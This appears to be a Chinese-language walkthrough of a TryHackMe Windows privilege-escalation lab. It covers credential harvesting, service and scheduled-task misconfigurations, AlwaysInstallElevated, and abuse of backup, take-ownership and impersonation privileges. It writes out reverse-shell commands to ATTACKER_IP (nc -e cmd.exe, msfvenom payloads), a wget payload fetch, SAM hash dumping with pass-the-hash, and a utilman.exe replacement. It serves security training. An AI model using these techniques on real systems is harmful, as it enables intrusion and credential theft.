THM-Windows提权 - 权限提升

在渗透测试期间,您通常可以通过非特权用户访问某些 Windows 主机。非特权用户将拥有有限的访问权限,仅包括他们的文件和文件夹,并且无法在主机上执行管理任务,从而阻止您完全控制您的目标

我们将要了解攻击者可以用来在 Windows 环境中提升权限的基本技术,允许您在可能的情况下使用主机上的任何初始非特权立足点升级到管理员帐户

Windows提权

简而言之,特权升级包括使用“用户 A”对主机的给定访问权限,并利用它通过滥用目标系统中的弱点来获得对“用户 B”的访问权限。虽然我们通常希望“用户 B”拥有管理权限,但在实际获得管理权限之前,我们可能需要升级到其他非特权帐户

获得对不同帐户的访问权限就像在某些粗心的用户留下的不安全的文本文件或电子表格中查找凭据一样简单,但情况并非总是如此。根据情况,我们可能需要利用以下一些弱点:

  • Windows 服务或计划任务配置错误
  • 分配给我们帐户的过多权限
  • 易受攻击的软件
  • 缺少 Windows 安全补丁

在进入实际技术之前,让我们看一下 Windows 系统上的不同帐户类型

Windows 用户
Windows系统主要 有 两类用户。根据他们的访问级别,我们可以将用户归类为以下组之一:

Administrators(管理员) 这些用户拥有最多的权限。他们可以更改任何系统配置参数并访问系统中的任何文件
Standard Users(标准用户) 这些用户可以访问计算机,但只能执行有限的任务。通常,这些用户无法对系统进行永久或必要的更改,并且仅限于他们的文件

任何具有管理权限的用户都将成为Administrators组的一部分。另一方面,标准用户是Users组的一部分

除此之外,您通常会听到操作系统在特权升级上下文中使用的一些特殊内置帐户

SYSTEM / LocalSystem 操作系统用来执行内部任务的帐户。它可以完全访问主机上可用的所有文件和资源,甚至比管理员拥有更高的权限
Local Service 用于以“最低”权限运行 Windows 服务的默认帐户。它将通过网络使用匿名连接
Network Service 用于以“最低”权限运行 Windows 服务的默认帐户。它将使用计算机凭据通过网络进行身份验证

这些帐户由 Windows 创建和管理,您将无法将它们用作其他常规帐户。不过,在某些情况下,您可能会因利用特定服务而获得他们的特权

从常见位置获取密码

获得其他用户访问权限的最简单方法是从受感染的机器上收集凭据。存在此类凭据的原因有很多,包括粗心的用户将它们留在纯文本文件中;甚至由浏览器或电子邮件客户端等软件存储

此任务将提供一些可在 Windows 系统上查找密码的已知位置

无人值守的 Windows 安装
在大量主机上安装 Windows 时,管理员可能会使用 Windows 部署服务,它允许通过网络将单个操作系统映像部署到多个主机。这些类型的安装称为无人值守安装,因为它们不需要用户交互。此类安装需要使用管理员帐户来执行初始设置,这些设置最终可能会存储在计算机中的以下位置:

  • C:\Unattend.xml
  • C:\Windows\Panther\Unattend.xml
  • C:\Windows\Panther\Unattend\Unattend.xml
  • C:\Windows\system32\sysprep.inf
  • C:\Windows\system32\sysprep\sysprep.xml

作为这些文件的一部分,您可能会遇到凭据:

<Credentials>
    <Username>Administrator</Username>
    <Domain>thm.local</Domain>
    <Password>MyPassword123</Password>
</Credentials>

Powershell 历史
每当用户使用 Powershell 运行命令时,它都会存储到一个文件中,该文件会保留过去的命令。这对于快速重复您之前使用过的命令很有用。如果用户运行的命令直接包含密码作为 Powershell 命令行的一部分,则稍后可以通过在提示符下使用以下命令来检索该密码cmd.exe

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

注意:上面的命令只能在 cmd.exe 中运行,因为 Powershell 不会将其识别%userprofile%为环境变量。要从 Powershell 读取文件,您必须替换%userprofile%$Env:userprofile

type $Env:userprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

保存的 Windows 凭据

Windows 允许我们使用其他用户的凭据。此功能还提供了将这些凭据保存在系统上的选项。下面的命令将列出保存的凭据:

cmdkey /list

虽然您看不到实际密码,但如果您注意到任何值得尝试的凭据,您可以将它们与命令 runas/savecred 选项一起使用,如下所示

runas /savecred /user:admin cmd.exe

就类似于Linux的切换用户

IIS 配置
Internet Information Services (IIS) 是 Windows 安装上的默认 Web 服务器。IIS 上的网站配置存储在一个名为的文件中web.config,可以存储数据库密码或配置的身份验证机制。根据安装的 IIS 版本,我们可以在以下位置之一找到 web.config

  • C:\inetpub\wwwroot\web.config
  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

这是在文件中查找数据库连接字符串的快速方法:

type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

从软件中检索凭据:PuTTY

PuTTY 是Windows 系统上常见的SSH客户端。用户不必每次都指定连接的参数,而是可以将会话存储在 IP、用户和其他配置可以存储的位置以备后用。虽然 PuTTY 不允许用户存储他们的 SSH 密码,但它会存储包括明文身份验证凭据的代理配置

要检索存储的代理凭据,您可以使用以下命令在以下注册表项下搜索 ProxyPassword

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

注意: Simon Tatham 是 PuTTY 的创建者(他的名字是路径的一部分),而不是我们正在为其检索密码的用户名。运行上述命令后,存储的代理用户名也应该可见。

正如 putty 存储凭据一样,任何存储密码的软件,包括浏览器、电子邮件客户端、FTP客户端、SSH 客户端、VNC 软件等,都将有方法恢复用户保存的任何密码

计划任务、恶意MSI

特权升级并不总是一个挑战。一些错误配置可以让您获得更高特权的用户访问权限,在某些情况下甚至可以获得管理员访问权限

计划任务

查看目标系统上的计划任务,您可能会看到一个计划任务丢失了它的二进制文件,或者它正在使用您可以修改的二进制文件

可以使用不带任何选项的命令从命令行列出计划任务 schtasks 。要检索有关任何服务的详细信息,您可以使用如下命令:

C:\> schtasks /query /tn vulntask /fo list /v
Folder: \
HostName:                             THM-PC1
TaskName:                             \vulntask
Task To Run:                          C:\tasks\schtask.bat
Run As User:                          taskusr1

您将获得有关该任务的大量信息,但对我们来说重要的是“Task to Run”参数,它指示计划任务执行的内容,以及“Run As User”参数,它显示将使用的用户执行任务

如果我们的当前用户可以修改或覆盖“要运行的任务”可执行文件,我们就可以控制 taskusr1 用户执行的内容,从而实现简单的权限提升。要检查可执行文件的文件权限,我们使用icacls

C:\> icacls c:\tasks\schtask.bat
c:\tasks\schtask.bat NT AUTHORITY\SYSTEM:(I)(F)
                    BUILTIN\Administrators:(I)(F)
                    BUILTIN\Users:(I)(F)

从结果中可以看出,BUILTIN\Users组对任务的二进制文件具有完全访问权限 (F)。这意味着我们可以修改 .bat 文件并插入我们喜欢的任何有效载荷

如果目标机器安装有nc,我们就可以将.bat的内容改为

C:\> echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat

然后,我们在我们在反向 shell 中指示的同一端口上的攻击者机器上启动一个侦听器:

nc -lvp 4444

计划任务下次运行时,您应该会收到具有 taskusr1 权限的反向 shell

虽然您可能无法在真实场景中启动任务并且必须等待计划任务触发,但我们为您的用户提供了手动启动任务的权限以节省您一些时间。我们可以使用以下命令运行任务:

C:\> schtasks /run /tn vulntask

您将按预期收到具有 taskusr1 权限的反向 shell:

user@attackerpc$ nc -lvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.175.90 50649
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
wprivesc1\taskusr1

AlwaysInstallElevated

Windows 安装程序文件(也称为 .msi 文件)用于在系统上安装应用程序。它们通常以启动它的用户的权限级别运行。但是,这些可以配置为以任何用户帐户(甚至是非特权帐户)的更高权限运行。这可能允许我们生成一个以管理员权限运行的恶意 MSI 文件

注意: AlwaysInstallElevated 方法一般情况下不适用,它仅供参考

此方法需要设置两个注册表值。您可以使用以下命令从命令行查询这些

C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

为了能够利用此漏洞,应设置两者。否则,将无法进行利用。如果设置了这些,您可以使用 生成恶意的 .msi 文件 msfvenom,如下所示:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_MACHINE_IP LPORT=LOCAL_PORT -f msi -o malicious.msi

由于这是一个反向 shell,您还应该运行相应配置的 Metasploit 处理程序模块。

nc -lvp 4444

传输创建的文件后,您可以使用以下命令运行安装程序并接收反向 shell:

C:\> msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi

服务错误配置

Windows 服务

Windows 服务由服务控制管理器Service Control Manager(SCM)管理。SCM 是一个负责根据需要管理服务状态、检查任何给定服务的当前状态并通常提供配置服务的方法的过程

Windows 机器上的每个服务都将有一个关联的可执行文件,每当服务启动时,该可执行文件将由 SCM 运行。重要的是要注意服务可执行文件实现特殊功能以便能够与 SCM 通信,因此任何可执行文件都不能作为服务成功启动。每项服务还指定服务将在其下运行的用户帐户

为了更好地理解服务的结构,让我们使用以下命令检查 apphostsvc 服务配置sc qc:

C:\> sc qc apphostsvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: apphostsvc
        TYPE               : 20  WIN32_SHARE_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Windows\system32\svchost.exe -k apphost
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Application Host Helper Service
        DEPENDENCIES       :
        SERVICE_START_NAME : localSystem

在这里我们可以看到关联的可执行文件是通过BINARY_PATH_NAME参数指定的,用于运行服务的帐户显示在SERVICE_START_NAME参数上

服务有一个自主访问控制列表 ( DACL ),它指示谁有权启动、停止、暂停、查询状态、查询配置或重新配置服务,以及其他权限

所有服务配置都存储在以下注册表中HKLM\SYSTEM\CurrentControlSet\Services\:

系统中的每项服务都存在一个子项。同样,我们可以在ImagePath值上看到关联的可执行文件,在ObjectName值上看到用于启动服务的帐户。如果为该服务配置了DACL,它将存储在名为Security 的子项中。您现在应该可以猜到,默认情况下只有管理员可以修改此类注册表项

服务可执行文件的不安全权限

如果与服务关联的可执行文件具有允许攻击者修改或替换它的弱权限,则攻击者可以轻而易举地获得服务帐户的特权

要了解其工作原理,让我们看一下在 Splinterware System Scheduler 上发现的一个漏洞。首先,我们将使用以下方式查询服务配置sc

C:\> sc qc WindowsScheduler
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: windowsscheduler
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\PROGRA~2\SYSTEM~1\WService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : System Scheduler Service
        DEPENDENCIES       :
        SERVICE_START_NAME : .\svcuser1

我们可以看到存在漏洞的软件安装的服务运行为svcuser1,与该服务关联的可执行文件位于C:\Progra~2\System~1\WService.exe. 然后我们继续检查可执行文件的权限:

C:\Users\thm-unpriv>icacls C:\PROGRA~2\SYSTEM~1\WService.exe
C:\PROGRA~2\SYSTEM~1\WService.exe Everyone:(I)(M)
                                  NT AUTHORITY\SYSTEM:(I)(F)
                                  BUILTIN\Administrators:(I)(F)
                                  BUILTIN\Users:(I)(RX)
                                  APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                  APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

在这里我们有一些有趣的东西。Everyone 组对服务的可执行文件具有修改权限 (M)。这意味着我们可以简单地用我们偏好的任何有效载荷覆盖它,服务将以配置的用户帐户的权限执行它

让我们使用 msfvenom 生成一个 exe-service payload 并通过 python 网络服务器提供它:

user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe

user@attackerpc$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

然后我们可以使用以下命令从 Powershell 中提取有效负载:

wget http://ATTACKER_IP:8000/rev-svc.exe -O rev-svc.exe

有效负载位于 Windows 服务器中后,我们将继续用我们的有效负载替换服务可执行文件。

因为我们需要另一个用户来执行我们的负载,所以我们需要授予 Everyone 组完全权限:

C:\> cd C:\PROGRA~2\SYSTEM~1\

C:\PROGRA~2\SYSTEM~1> move WService.exe WService.exe.bkp
        1 file(s) moved.

C:\PROGRA~2\SYSTEM~1> move C:\Users\thm-unpriv\rev-svc.exe WService.exe
        1 file(s) moved.

C:\PROGRA~2\SYSTEM~1> icacls WService.exe /grant Everyone:F
        Successfully processed 1 files.

我们在攻击者机器上启动一个反向监听器:

user@attackerpc$ nc -lvp 4445

最后,重新启动服务。虽然在正常情况下,您可能必须等待服务重新启动,但已为您分配了自行重新启动服务的权限以节省时间。从 cmd.exe 命令提示符使用以下命令:

C:\> sc stop windowsscheduler
C:\> sc start windowsscheduler

注意: PowerShellsc一个别名 to Set-Content,因此您需要使用这种方式sc.exe来控制PowerShell 的服务

最后,您将获得具有 svcusr1 权限的反向 shell:

user@attackerpc$ nc -lvp 4445
Listening on 0.0.0.0 4445
Connection received on 10.10.175.90 50649
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
wprivesc1\svcusr1

未引用的服务路径

当我们不能像以前那样直接写入服务可执行文件时,可能仍然有机会通过使用一个相当晦涩的功能来强制服务运行任意可执行文件

在使用Windows服务时,当服务被配置为指向“未引用”的可执行文件时,会发生非常特殊的行为。通过未加引号,我们意味着关联的可执行文件的路径没有正确加引号以说明命令上的空格

例如,让我们看一下两种服务之间的区别(这些服务仅用作示例,您的计算机可能不可用)。第一个服务将使用正确的引用,以便 SCM 毫无疑问地知道它必须执行 指向的二进制文件"C:\Program Files\RealVNC\VNC Server\vncserver.exe",然后是给定的参数:

C:\> sc qc "vncserver"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: vncserver
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : "C:\Program Files\RealVNC\VNC Server\vncserver.exe" -service
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : VNC Server
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

现在让我们看看另一个没有正确引用的服务:

C:\> sc qc "disk sorter enterprise"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: disk sorter enterprise
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Disk Sorter Enterprise
        DEPENDENCIES       :
        SERVICE_START_NAME : .\svcusr2

当 SCM 尝试执行关联的二进制文件时,会出现问题。由于“Disk Sorter Enterprise”文件夹的名称上有空格,命令变得不明确,SCM 不知道您正在尝试执行以下哪些命令:

命令 参数 1 参数 2
C:\MyPrograms\Disk.exe sorter Enterprise\bin\disksrs.exe
C:\MyPrograms\Disk Sorter.exe Enterprise\bin\disksrs.exe
C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe

这与命令提示符如何解析命令有关。通常,当您发送命令时,空格用作参数分隔符,除非它们是带引号的字符串的一部分。这意味着对未加引号的命令的“正确”解释是执行C:\\MyPrograms\\Disk.exe并将其余部分作为参数

SCM 并没有像它应该的那样失败,而是尝试帮助用户并开始按照表中显示的顺序搜索每个二进制文件:

  1. 首先,搜索C:\\MyPrograms\\Disk.exe。如果存在,该服务将运行此可执行文件。
  2. 如果后者不存在,它将搜索C:\\MyPrograms\\Disk Sorter.exe. 如果存在,该服务将运行此可执行文件。
  3. 如果后者不存在,它将搜索C:\\MyPrograms\\Disk Sorter Enterprise\\bin\\disksrs.exe. 此选项预计会成功,并且通常会在默认安装中运行。

从这种行为来看,问题变得很明显。如果攻击者在预期的服务可执行文件之前创建了任何要搜索的可执行文件,他们就可以强制该服务运行任意可执行文件

虽然这听起来微不足道,但大多数服务可执行文件将在默认情况下C:\Program Files或默认情况下安装C:\Program Files (x86),这是非特权用户不可写的。这可以防止任何易受攻击的服务被利用。此规则有例外情况:

  • 某些安装程序会更改已安装文件夹的权限,从而使服务容易受到攻击。
  • 管理员可能决定在非默认路径中安装服务二进制文件。如果这样的路径是世界可写的,则可以利用该漏洞。

在我们的例子中,管理员在c:\MyPrograms. 默认情况下,这会继承目录的权限C:\,允许任何用户在其中创建文件和文件夹。我们可以使用以下方法检查icacls

C:\>icacls c:\MyPrograms
c:\MyPrograms NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
              BUILTIN\Administrators:(I)(OI)(CI)(F)
              BUILTIN\Users:(I)(OI)(CI)(RX)
              BUILTIN\Users:(I)(CI)(AD)
              BUILTIN\Users:(I)(CI)(WD)
              CREATOR OWNER:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files

BUILTIN\\Users组具有ADWD权限,允许用户分别创建子目录文件

使用 msfvenom 创建一个 exe-service payload 并将其传输到目标主机的过程与之前相同,因此您可以像之前一样随意创建以下 payload 并将其上传到服务器。我们还将启动一个侦听器以在执行时接收反向 shell

user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4446 -f exe-service -o rev-svc2.exe

user@attackerpc$ nc -lvp 4446

``

一旦有效载荷进入服务器,将其移动到任何可能发生劫持的位置。在这种情况下,我们会将有效负载移动到`C:\MyPrograms\Disk.exe`. 我们还将授予 `Everyone`对该文件的完全权限,以确保它可以由服务执行:

```cmd
C:\> move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe

C:\> icacls C:\MyPrograms\Disk.exe /grant Everyone:F
        Successfully processed 1 files.

服务重新启动后,您的有效负载应执行:

C:\> sc stop "disk sorter enterprise"
C:\> sc start "disk sorter enterprise"

因此,您将获得具有 svcusr2 权限的反向 shell:

user@attackerpc$ nc -lvp 4446
Listening on 0.0.0.0 4446
Connection received on 10.10.175.90 50650
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
wprivesc1\svcusr2

不安全的服务权限

如果服务的可执行DACL配置正确并且服务的二进制路径被正确引用,您可能仍然有很小的机会利用该服务。如果服务 DACL(不是服务的可执行 DACL)允许您修改服务的配置,您将能够重新配置该服务。这将允许您指向您需要的任何可执行文件并使用您喜欢的任何帐户运行它,包括 SYSTEM 本身

要从命令行检查服务DACL ,您可以使用Sysinternals 套件中的Accesschk 。为方便起见,可在 获取副本C:\\tools。检查 thmservice 服务DACL 的命令是:

C:\tools\AccessChk> accesschk64.exe -qlc thmservice
  [0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEM
        SERVICE_QUERY_STATUS
        SERVICE_QUERY_CONFIG
        SERVICE_INTERROGATE
        SERVICE_ENUMERATE_DEPENDENTS
        SERVICE_PAUSE_CONTINUE
        SERVICE_START
        SERVICE_STOP
        SERVICE_USER_DEFINED_CONTROL
        READ_CONTROL
  [4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users
        SERVICE_ALL_ACCESS

这里我们可以看到该BUILTIN\\Users组拥有SERVICE_ALL_ACCESS权限,这意味着任何用户都可以重新配置该服务

在更改服务之前,让我们构建另一个 exe-service 反向 shell 并在攻击者的机器上为它启动一个监听器:

user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4447 -f exe-service -o rev-svc3.exe

user@attackerpc$ nc -lvp 4447

然后我们将反向 shell 可执行文件传输到目标机器并将其存储在C:\Users\thm-unpriv\rev-svc3.exe. 随意使用 wget 传输您的可执行文件并将其移动到所需位置。请记住授予 Everyone 执行您的有效负载的权限:

C:\> icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F

要更改服务关联的可执行文件和帐户,我们可以使用以下命令(使用 sc.exe 时请注意等号后的空格):

C:\> sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem

请注意,我们可以使用任何帐户来运行该服务。我们选择 LocalSystem 是因为它是可用的最高特权帐户。要触发我们的有效载荷,剩下的就是重新启动服务:

C:\> sc stop THMService
C:\> sc start THMService

我们将在攻击者的机器上收到一个具有 SYSTEM 权限的 shell:

user@attackerpc$ nc -lvp 4447
Listening on 0.0.0.0 4447
Connection received on 10.10.175.90 50650
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
NT AUTHORITY\SYSTEM

危险特权

Windows 权限

特权是帐户执行特定系统相关任务所具有的权利。这些任务可以像关闭机器的权限一样简单,也可以像绕过某些基于 DACL 的访问控制的权限一样简单

每个用户都有一组分配的权限,可以使用以下命令进行检查:

whoami /priv

此处提供了 Windows 系统上可用权限的完整列表。从攻击者的角度来看,只有那些允许我们在系统中升级的特权才是感兴趣的。您可以在Priv2Admin Github 项目上找到可利用权限的完整列表

虽然我们不会逐一查看,但我们将展示如何滥用您能找到的一些最常见的权限

SeBackup / SeRestore 备份

SeBackupSeRestore 权限允许用户读取和写入系统中的任何文件,而忽略任何现有的DACL 。此权限背后的想法是允许某些用户在不需要完全管理权限的情况下从系统执行备份

拥有这种能力,攻击者可以使用多种技术轻松提升系统权限。我们将研究的一个包括复制 SAMSYSTEM 注册表配置单元以提取本地管理员的密码哈希

此帐户是“Backup Operators”组的一部分,默认情况下被授予 SeBackupSeRestore 权限。我们需要使用“以管理员身份打开”选项打开命令提示符才能使用这些权限。我们将被要求再次输入密码以获得提升的控制台:

进入命令提示符后,我们可以使用以下命令检查我们的权限:

C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeBackupPrivilege             Back up files and directories  Disabled
SeRestorePrivilege            Restore files and directories  Disabled
SeShutdownPrivilege           Shut down the system           Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

要备份 SAMSYSTEM 哈希,我们可以使用以下命令:

C:\> reg save hklm\system C:\Users\THMBackup\system.hive
The operation completed successfully.

C:\> reg save hklm\sam C:\Users\THMBackup\sam.hive
The operation completed successfully.

这将创建几个包含注册表配置单元内容的文件。我们现在可以使用 SMB 或任何其他可用方法将这些文件复制到我们的攻击者机器上。对于 SMB,我们可以使用 impacketsmbserver.py启动一个简单的 SMB 服务器,并在 kali 的当前目录中进行网络共享:

user@attackerpc$ mkdir share

user@attackerpc$ python3.9 /opt/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share

需要注意的是,这里创建smb服务使用的用户名、密码靶机使用的用户名、密码是相同的,这样靶机在使用smb共享文件的时候不需要输入用户名和密码

public这将创建一个名为指向目录的共享share,它需要我们当前 Windows 会话的用户名和密码。在此之后,我们可以copy在我们的 windows 机器中使用命令将两个文件传输到我们的 kali:

C:\> copy C:\Users\THMBackup\sam.hive \\ATTACKER_IP\public\
C:\> copy C:\Users\THMBackup\system.hive \\ATTACKER_IP\public\

并使用 impacket 检索用户的密码哈希值:

user@attackerpc$ python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL
Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation

[*] Target system bootKey: 0x36c8d26ec0df8b23ce63bcefa6e2d821
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

我们最终可以使用管理员的哈希值来执行哈希传递攻击,并以 SYSTEM 权限访问目标机器:

user@attackerpc$ python3.9 /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94 administrator@MACHINE_IP
Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation

[*] Requesting shares on 10.10.175.90.....
[*] Found writable share ADMIN$
[*] Uploading file nfhtabqO.exe
[*] Opening SVCManager on 10.10.175.90.....
[*] Creating service RoLE on 10.10.175.90.....
[*] Starting service RoLE.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

取得所有权(SeTakeOwnership)

SeTakeOwnership 权限允许用户取得系统上任何对象的所有权,包括文件和注册表项,为攻击者提升权限提供了许多可能性,例如,我们可以搜索以 SYSTEM 身份运行的服务并取得所有权服务的可执行文件。然而,对于这项任务,我们将采取不同的路线

要获得 SeTakeOwnership 权限,我们需要使用“以管理员身份打开”选项打开命令提示符。我们将被要求输入密码以获取提升的控制台:

进入命令提示符后,我们可以使用以下命令检查我们的权限:

C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                              State
============================= ======================================== ========
SeTakeOwnershipPrivilege      Take ownership of files or other objects Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                 Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set           Disabled

utilman.exe这次我们将滥用权限升级。Utilman 是一个内置的 Windows 应用程序,用于在锁定屏幕期间提供轻松访问选项:

由于 UtilmanSYSTEM 权限运行,如果我们将原始二进制文件替换为我们喜欢的任何 payload,我们将有效地获得 SYSTEM 权限。由于我们可以获得任何文件的所有权,因此替换它是微不足道的

要替换 utilman,我们将首先使用以下命令获取它的所有权:

C:\> takeown /f C:\Windows\System32\Utilman.exe

SUCCESS: The file (or folder): "C:\Windows\System32\Utilman.exe" now owned by user "WINPRIVESC2\thmtakeownership".

请注意,作为文件的所有者并不一定意味着您拥有文件的特权,但作为所有者,您可以为自己分配所需的任何特权。要授予您的用户对 utilman.exe 的完全权限,您可以使用以下命令:

C:\> icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F
processed file: Utilman.exe
Successfully processed 1 files; Failed processing 0 files

在此之后,我们将用 cmd.exe 的副本替换 utilman.exe,这里的cmd.exe也可以是一个payload文件:

C:\Windows\System32\> copy cmd.exe utilman.exe
        1 file(s) copied.

要触发 utilman,我们将从开始按钮锁定屏幕:

最后,继续单击“轻松访问”按钮,它以系统权限运行 utilman.exe。由于我们将其替换为 cmd.exe 副本,因此我们将获得具有 SYSTEM 权限的命令提示符:

SeImpersonate / SeAssignPrimaryToken

这些特权允许进程模拟其他用户并代表他们行事。模拟通常包括能够在另一个用户的安全上下文中生成进程或线程。

当您考虑FTP服务器的工作原理时,就很容易理解模拟。FTP 服务器必须限制用户只能访问他们应该被允许查看的文件

假设我们有一个使用 user 运行的FTPftp服务。如果没有模拟,如果用户 Ann 登录到FTP服务器并尝试访问她的文件,则 FTP 服务将尝试使用其访问令牌而不是 Ann 的访问令牌来访问它们:

使用 ftp 的令牌不是最好的主意有几个原因:

  • 为了正确提供文件,用户需要可以访问它们ftp。在上面的示例中,FTP服务将能够访问 Ann 的文件,但不能访问 Bill 的文件,因为 Bill 文件中的 DACL 不允许用户ftp. 这增加了复杂性,因为我们必须为每个服务的文件/目录手动配置特定权限。
  • 对于操作系统,所有文件都是由用户访问的ftp,与当前登录到FTP的用户无关服务。这使得无法将授权委托给操作系统;因此,FTP 服务必须实现它。
  • 如果 FTP 服务在某个时刻遭到破坏,攻击者将立即获得对用户有权访问的所有文件夹的访问权限。

另一方面,如果FTP服务的用户拥有 SeImpersonateSeAssignPrimaryToken 权限,所有这一切都会稍微简化,因为 FTP 服务可以临时获取登录用户的访问令牌,并使用它来执行他们的任何任务代表:

现在,如果用户 Ann 登录到FTP服务并且假定 ftp 用户具有模拟权限,它可以借用 Ann 的访问令牌并使用它来访问她的文件。这样,文件不需要ftp以任何方式向用户提供访问权限,操作系统会处理授权。由于FTP服务正在模拟 Ann,因此在该会话期间它将无法访问 Jude 或 Bill 的文件

作为攻击者,如果我们设法控制具有 SeImpersonateSeAssignPrimaryToken 权限的进程,我们就可以模拟任何连接到该进程并对其进行身份验证的用户

在Windows系统中,你会发现LOCAL SERVICENETWORK SERVICE ACCOUNTS已经拥有了这样的权限。由于这些帐户用于使用受限帐户生成服务,因此如果服务需要,允许它们模拟连接用户是有意义的。Internet Information Services (IIS) 还将为 Web 应用程序创建一个名为“iis apppool\defaultapppool”的类似默认帐户

要使用此类帐户提升权限,攻击者需要满足以下条件:

  1. 生成一个进程,以便用户可以连接并验证它以进行模拟。
  2. 找到一种方法强制特权用户连接并验证生成的恶意进程。

我们将使用 RogueWinRM exploit 来完成这两个条件。

让我们首先假设我们已经破坏了一个在 IIS 上运行的网站,并且我们已经在以下地址植入了一个网络外壳:

我们可以使用 web shell 检查受感染帐户的分配权限,并确认我们拥有此任务的两个感兴趣的权限:

要使用 RogueWinRM,我们首先需要将漏洞上传到目标机器。为了您的方便,这已经完成,您可以在C:\tools\文件夹中找到漏洞

RogueWinRM 漏洞是可能的,因为每当用户(包括非特权用户)在 Windows 中启动 BITS 服务时,它会使用 SYSTEM 权限自动创建到端口 5985 的连接。端口 5985 通常用于 WinRM 服务,它只是一个公开 Powershell 控制台以通过网络远程使用的端口。把它想象成SSH,但使用 Powershell

如果出于某种原因,WinRM 服务未在受害服务器上运行,攻击者可以在端口 5985 上启动伪造的 WinRM 服务,并在启动时捕获 BITS 服务进行的身份验证尝试。如果攻击者拥有 SeImpersonate 权限,他可以代表连接用户(即 SYSTEM)执行任何命令

在运行漏洞之前,我们将启动一个 netcat 侦听器以在攻击者的机器上接收反向 shell:

user@attackerpc$ nc -lvp 4442

然后,使用我们的 web shell 使用以下命令触发 RogueWinRM 漏洞利用:

c:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe ATTACKER_IP 4442"

